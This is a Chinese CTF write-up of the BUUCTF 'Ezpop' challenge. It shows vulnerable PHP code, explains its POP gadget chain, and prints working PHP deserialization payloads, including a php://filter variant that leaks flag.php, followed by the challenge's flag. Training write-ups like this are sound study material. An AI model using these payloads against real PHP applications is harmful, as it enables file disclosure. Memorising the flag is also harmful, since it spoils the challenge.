BUUCTF——Ezpop
进入靶场
给了php代码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
这段代码展示了一个典型的PHP反序列化漏洞利用场景,通过精心构造的序列化数据可以实现文件包含和任意代码执行。
代码结构分析
代码包含三个类:
- Modifier类:
- 包含一个受保护的属性
$var
- 有
append()
方法,可以包含任意文件 - 当对象被当作函数调用时(
__invoke
),会执行append($this->var)
- 包含一个受保护的属性
- Show类:
- 包含
$source
和$str
属性 - 有
__toString()
魔术方法,当对象被当作字符串时会返回$this->str->source
- 有
__wakeup()
魔术方法,在反序列化时执行,对$source
进行过滤
- 包含
- Test类:
- 包含
$p
属性 - 有
__get()
魔术方法,当访问不存在的属性时,会将$p
作为函数调用
- 包含
构造payload
<?php
class Modifier {
protected $var = "flag.php";
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str = $test;
$show2 = new Show();
$show2->source = $show1;
echo urlencode(serialize($show2));
?>
将生成的序列化代码在url中传给?pop
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
没拿到
再用伪协议base64输出一下看看
构造payload
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show {
public $source;
public $str;
}
class Test {
public $p;
}
$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;
$show1 = new Show();
$show1->str = $test;
$show2 = new Show();
$show2->source = $show1;
echo urlencode(serialize($show2));
?>
拿到base64编码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZmViNWFmLTZiOTgtNGQ1Ni04MWFmLWNhZTJjNDVhZGNjM30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解码看看
<?php
class Flag{
private $flag= "flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}";
}
echo "Help Me Find FLAG!";
?>
拿到flag
flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}
下播!!!!!